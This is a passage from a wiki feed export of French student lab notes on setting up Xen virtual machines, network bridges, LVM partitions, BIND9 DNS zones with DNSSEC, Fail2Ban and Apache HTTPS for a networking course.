// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Génération des clés==&lt;br /&gt;
ensuite nous créeons le répertoire qui va acceuillir nos clés:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir -p /etc/bind/keys&lt;br /&gt;
chown bind:bind /etc/bind/keys&lt;br /&gt;
chmod 700 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et nous redémarrons le service :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# ls /etc/bind/keys&lt;br /&gt;
Kwahran.online.+013+17231.key	   Kwahran.online.+013+62188.key&lt;br /&gt;
Kwahran.online.+013+17231.private  Kwahran.online.+013+62188.private&lt;br /&gt;
Kwahran.online.+013+17231.state    Kwahran.online.+013+62188.state&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant verifier sur le site &amp;quot;DNSViz&amp;quot; le DNS de ns.wahran.online, pour l'instant le site indique une erreur : wahran.online zone: The server(s) were not responsive to queries over UDP.&lt;br /&gt;
&lt;br /&gt;
J'essaye de regler cela.&lt;br /&gt;
&lt;br /&gt;
=Fail2Ban=&lt;br /&gt;
Nous pouvons implémenter une fonctionnalité pour sécuriser notre VM : bannir une IP après plusieurs tentative de connexions ssh raté.&lt;br /&gt;
dans /etc/fail2ban/jail.local nous ajoutons ces options:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[sshd]&lt;br /&gt;
enable	= true&lt;br /&gt;
port    = ssh&lt;br /&gt;
filter	= sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime  = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après 5 tentative de ssh échouée, l'IP en question sera banni 10 minutes:&lt;br /&gt;
&lt;br /&gt;
=HTTPS=&lt;br /&gt;
==Installation d'Apache2==&lt;br /&gt;
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
aptitude install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Activation du port HTTPS==&lt;br /&gt;
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/ports.conf&lt;br /&gt;
# Port HTTP classique&lt;br /&gt;
Listen 80&lt;br /&gt;
&lt;br /&gt;
# Port HTTPS&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du certificat SSL==&lt;br /&gt;
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/ssl/certs/wahran.online.crt : Certificat SSL&lt;br /&gt;
/etc/ssl/private/myserver.key : Clé privée&lt;br /&gt;
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du domaine sécurisé==&lt;br /&gt;
J'ai créé un fichier de configuration spécifique pour mon domaine (wahran.online) dans le répertoire `/etc/apache2/sites-available/000-wahran.online-ssl.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/sites-available/000-wahran.online-ssl.conf &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        Redirect permanent / https://ns.wahran.online/  &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        ServerAlias wahran.online&lt;br /&gt;
        DocumentRoot /var/www/wahran.online/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
&lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/wahran.online.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/private/myserver.key&lt;br /&gt;
        SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
        SSLProxyEngine on&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
lorsque l'on se rend sur h, nous somme redirigé vers .&lt;br /&gt;
&lt;br /&gt;
==Configuration DNS avec DNSSEC==&lt;br /&gt;
Pour la gestion des DNS de mon domaine, j'ai configuré le fichier `/etc/bind/named.conf.local` pour ajouter la zone DNS de `wahran.online` avec une politique DNSSEC, ce qui renforce la sécurité de la gestion de mes enregistrements DNS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/bind/named.conf.local&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02; //IPv6 Proxy&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
masters &amp;quot;hiddensecondaries&amp;quot;{&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;alloco.online&amp;quot;{&lt;br /&gt;
	type slave;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/alloco.online&amp;quot;;&lt;br /&gt;
	masters{2001:660:4401:60a0:216:3eff:fe81:abfe;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérification du certificat SSL==&lt;br /&gt;
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
c_rehash /etc/ssl/certs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12088</id>
		<title>Atelier SysRes SE4 2025/2026 E8</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12088"/>
		<updated>2026-02-07T16:10:42Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Création du pont et des VM=&lt;br /&gt;
&lt;br /&gt;
== Création du pont: ==&lt;br /&gt;
Dans capbreton, dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; on renseigne notre pont &amp;lt;code&amp;gt;pontclio&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto pontclio&lt;br /&gt;
iface pontclio inet manual&lt;br /&gt;
  bridge_ports none&lt;br /&gt;
  up ip link set $IFACE up&lt;br /&gt;
  down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des VM: ==&lt;br /&gt;
Pour créer nos VM avec xen (2 VM services + 1 VM mandataire):&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.RS7 --dir=/usr/local/xen --dist=excalibur --size=10GB --memory=1024M --bridge=pontclio --dhcp &amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite créer les partitions &amp;lt;code&amp;gt;var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;home&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.home virtual&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les ajouter dans le fichier &amp;lt;code&amp;gt;/etc/xen/SE4.RS7&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
'phy:/dev/virtual/SE4.RS7-home,xvda3,w',&lt;br /&gt;
'phy:/dev/virtual/SE4.RS7-var,xvdb1,w',&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour monter le &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration des VM: ==&lt;br /&gt;
&lt;br /&gt;
rajouter un vif dans le fichier de configuration de la VM:&lt;br /&gt;
dans &amp;lt;code&amp;gt;/etc/xen/SE4.RS7.cfg&amp;lt;/code&amp;gt; :&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
vif         = [ 'mac=00:16:3E:D3:58:AD,bridge=pontclio', &lt;br /&gt;
                'mac=00:16:3E:D3:58:AE,bridge=SE4' ]     #vif ajouté&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite dans la VM ajouter les interfaces dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 192.170.0.2/24&lt;br /&gt;
        gateway 192.170.0.1&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Relancer la VM puis après un &amp;lt;code&amp;gt;ifup&amp;lt;/code&amp;gt; on remarque que nos interfaces sont actives :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
root@C2:~# ip link show&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP mode DEFAULT group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:58:ad brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP mode DEFAULT group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:58:ae brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Création du pont et des VM=&lt;br /&gt;
&lt;br /&gt;
== Création du pont: ==&lt;br /&gt;
Dans capbreton, dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; on renseigne notre pont &amp;lt;code&amp;gt;pontclio&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto pontclio&lt;br /&gt;
iface pontclio inet manual&lt;br /&gt;
  bridge_ports none&lt;br /&gt;
  up ip link set $IFACE up&lt;br /&gt;
  down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Partitions==&lt;br /&gt;
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.Gtr --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=alloco_wahran&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.Gtr.cfg:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
phy:/dev/virtual/SE4.Gtr-home,xvdb1,w,&lt;br /&gt;
phy:/dev/virtual/SE4.Gtr-var,xvda3,w,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour démarrer notre VM nous exécutons la commande suivante: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create SE4.Gtr.cfg &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous pouvons vérifier si la VM est démarrée avec:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par la suite nous nous connectons à la VM de cette manière:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.Gtr&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /var ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
(J'ai fais une petite erreur sur cette partie car j'ai assigné /dev/xvdb1 à /var alors que ce n'était pas le bon, /var était sur xvda3, cette erreur n'est pas si grave je vais juste devoir faire attention à bien différencier /var et /home par la suite)&lt;br /&gt;
&lt;br /&gt;
Et nous formatons ces disk avec ces deux commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant Mount les fichiers à implémenter le /var (xvda3 pour moi), or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On copie les données et on démonte le fichier copié:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
unmount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant observer les changement:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=IP=&lt;br /&gt;
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:&lt;br /&gt;
&lt;br /&gt;
==VM de service==&lt;br /&gt;
&lt;br /&gt;
Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:&lt;br /&gt;
&lt;br /&gt;
L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.&lt;br /&gt;
&lt;br /&gt;
De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.&lt;br /&gt;
&lt;br /&gt;
Nous complétons donc le fichier avec une adresse statique :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.0.2 &lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
    gateway 192.168.0.1 &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==VM mandataire==&lt;br /&gt;
&lt;br /&gt;
Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.&lt;br /&gt;
&lt;br /&gt;
Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.&lt;br /&gt;
&lt;br /&gt;
Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.0.1&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
#iface eth0 inet dhcp&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.162/28&lt;br /&gt;
    gateway 193.48.57.161&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après avoir fait un ifdown et un ifup nous pouvons envoyer des pings entre nos VM de service et avec la VM mandataire:&lt;br /&gt;
&lt;br /&gt;
Ping de SE4.Gtr (192.168.0.2) vers SE4.Gyro (192.168.0.3):&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping gyro.png|vignette|center]]&lt;br /&gt;
&lt;br /&gt;
Ping de SE4.Gtr (192.168.0.2) vers SE4.Pegase (192.168.0.1):&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping pegase.png|vignette|center]]&lt;br /&gt;
&lt;br /&gt;
=SSH=&lt;br /&gt;
&lt;br /&gt;
Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
=DNS=&lt;br /&gt;
==Configuration du résolveur==&lt;br /&gt;
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
search plil.info&lt;br /&gt;
nameserver 172.26.188.12&lt;br /&gt;
nameserver 193.48.57.48&lt;br /&gt;
&lt;br /&gt;
search wahran.online&lt;br /&gt;
nameserver 192.168.0.2&lt;br /&gt;
nameserver 192.168.0.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration des zones==&lt;br /&gt;
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour wahran.online et une zone secondaire pour alloco.online.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Création et configuration du fichier .zone==&lt;br /&gt;
Nous avons ensuite créé et configuré le fichier wahran.zone.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 100&lt;br /&gt;
&lt;br /&gt;
@	IN	SOA	ns.wahran.online.	postmaster.wahran.online. (&lt;br /&gt;
	3600	; Version&lt;br /&gt;
	21600	; Refresh secondary	(6h)&lt;br /&gt;
	3600	; Retry secondary	(1h)&lt;br /&gt;
	2592000	; Expire if no refresh	(30 jours)&lt;br /&gt;
	86400	; Negative cache	(24h)&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
; Enregistrements des serveurs de noms&lt;br /&gt;
@	IN	NS	ns.wahran.online.&lt;br /&gt;
@	IN	NS	ns2.alloco.online.&lt;br /&gt;
&lt;br /&gt;
; Enregistrements AAAA (IPv6)&lt;br /&gt;
ns	IN AAAA		2001:660:4401:60a0:216:3eff:fe32:8fa2&lt;br /&gt;
&lt;br /&gt;
: Enregistrements A (IPv4)&lt;br /&gt;
ns	IN A		193.48.57.164&lt;br /&gt;
&lt;br /&gt;
; Enregistrements CNAME&lt;br /&gt;
www	IN CNAME	wahran.online&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On charge la version du fichier de zone avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
